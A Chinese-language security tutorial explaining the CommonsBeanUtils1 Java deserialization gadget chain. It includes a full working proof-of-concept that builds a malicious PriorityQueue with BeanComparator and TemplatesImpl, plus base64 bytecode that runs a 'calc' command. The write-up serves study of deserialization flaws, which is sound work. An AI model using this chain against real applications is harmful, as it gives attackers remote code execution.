文章目录
- 【java安全】CommonsBeanUtils1
- 前言
- Apache Commons Beanutils
- BeanComparator
- 如何调用`BeanComparator#compare()`方法?
- 构造POC
- 完整POC
- 调用链
【java安全】CommonsBeanUtils1
前言
在之前我们学习了java.util.PriorityQueue
,它是java中的一个优先队列,队列的每个元素都有优先级,在反序列化这个对象的时候,为了保证队列顺序,会将队列中的元素进行排序,从而调用了java.io.Comparator
接口的compare()
方法,进而执行恶意反序列化操作
我们能不能找到除了之前提到的TransformingComparator
类以外的其他可以利用的java.util.Comparator
对象?我们需要了解一下Commons Beanuitls
Apache Commons Beanutils
在找可用的Comparator
之前,我们需要知道一下Apache Commons Beanutils
,它是Apache Commons
工具集下的一个项目,提供了对java类对象(javaBean)的一些操作方法
什么是javaBean?
final public class Cat { private String name = "catalina"; public String getName() { return name; } public void setName(String name) { this.name = name; } }
javaBean就是一种标准化的java对象,成员变量为
private
,提供了对成员变量的getter()
和setter()
方法,符合驼峰命名法
在Commons Beanutils
中提供了一个静态方法PropertyUtils.getProperty()
public static Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
return PropertyUtilsBean.getInstance().getProperty(bean, name);
}
这个方法可以可以调用任意javaBean对象的getter()
方法
例如:
PropertyUtils.getProperty(new Cat(),'name')
这个方法会调用Cat
对象的getName()
方法,使用该方法可以调用任意对象的getter
方法
BeanComparator
我们上文说想要找到其他的实现java.util.Comparator
的类
在commons-beanutils
中有一个BeanComparator
类:
先看看构造方法:
public BeanComparator() {
this((String)null);
}
public BeanComparator(String property) {
this(property, ComparableComparator.getInstance());
}
public BeanComparator(String property, Comparator<?> comparator) {
this.setProperty(property);
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
构造方法可以为:property
属性赋值,这个很重要后面会用到
然后看看compare()
方法:
package org.apache.commons.beanutils;
public class BeanComparator<T> implements Comparator<T>, Serializable {
public int compare(T o1, T o2) {
if (this.property == null) {
return this.internalCompare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}
}
我们注意一下它的compare(T o1, T o2)
方法,当property==null
时,不会调用PropertyUtils.getProperty()
if (this.property == null) {
return this.internalCompare(o1, o2);
}
PropertyUtils.getProperty()
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
它会去调用o1、o2
对象的名为property的属性值的getter
方法
这里很重要,加入o1
是TemplatesImpl
对象的话这里是可以构造反序列化利用链的
我们先来回顾一下前面TemplatesImpl
中的调用链:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
这里的getOutputProperties()
就是getter
方法的形式,并且它会调用newTransformer()
触发恶意字节码执行。因此,如果我们PropertyUtils.getProperty(o1, this.property)
第一个形参传入:TemplatesImpl
对象,并且第二个参数property
传入值outputProperties
那么就会调用TemplatesImpl#getOutputProperties()
方法了
我们可以简单测试一下:
我们先构造一个恶意字节码的类HelloTemplatesImpl
:(注意需要继承AbstractTranslet
,这样才有效)
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class HelloTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public HelloTemplatesImpl() throws IOException {
Runtime.getRuntime().exec("calc"); //构造对象会弹出计算器
}
}
我们将其编译为字节码并且base64编码一下
然后编写利用链:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field;
import java.util.Base64;
public class CommonsBeanUtils1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes());
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties");
beanComparator.compare(obj,null);
}
}
确实弹出了计算器,说明这是对的
如何调用BeanComparator#compare()
方法?
我们这里可以继续使用PriorityQueue
类,它的readObject()
方法可以触发排序等函数,最终调用comparator
变量的compare()
方法,并且形参传入TemplatesImpl
对象(注意讲BeanComparator
的property
设置为outputProperties
)
PriorityQueue#siftDownUsingComparator()
comparator.compare((E) c, (E) queue[right]) > 0)
当反序列化时调用PriorityQueue#readObject()
方法,最终调用comparator#compare()
,然后调用TemplatesImpl#getOutputProperties()
方法
构造POC
首先常规构造TemplatesImpl
对象:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
然后构造BeanComparator
类,我们先不为property
赋值,防止提前调用PropertyUtils.getProperty()
:
BeanComparator comparator = new BeanComparator();
然后创建PriorityQueue
,队列大小为2,将comparator
成员变量赋值为BeanComparator
对象:
PriorityQueue queue = new PriorityQueue(2, comparator);
然后添加2个无关紧要的值进queue
中(之所以这么做是因为防止add()
提前触发comparator.compare()
)
queue.add(1);
queue.add(1);
添加完成之后我们再将queue
的值(用来给compare方法传入TemplatesImpl
对象)以及BeanComparator
的property
赋值为outputProperties
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
完整POC
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class CommonsBeanUtils1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes());
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
调用可以弹出计算器:
调用链
PriorityQueue#readObject()
heapify();
siftDown(i, (E) queue[i]);
siftDownUsingComparator(k, x);
BeanComparator#compare(TemplatesImplObj,)
PropertyUtils.getProperty(TemplatesImplObj, "outputProperties")
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
...
defindClass()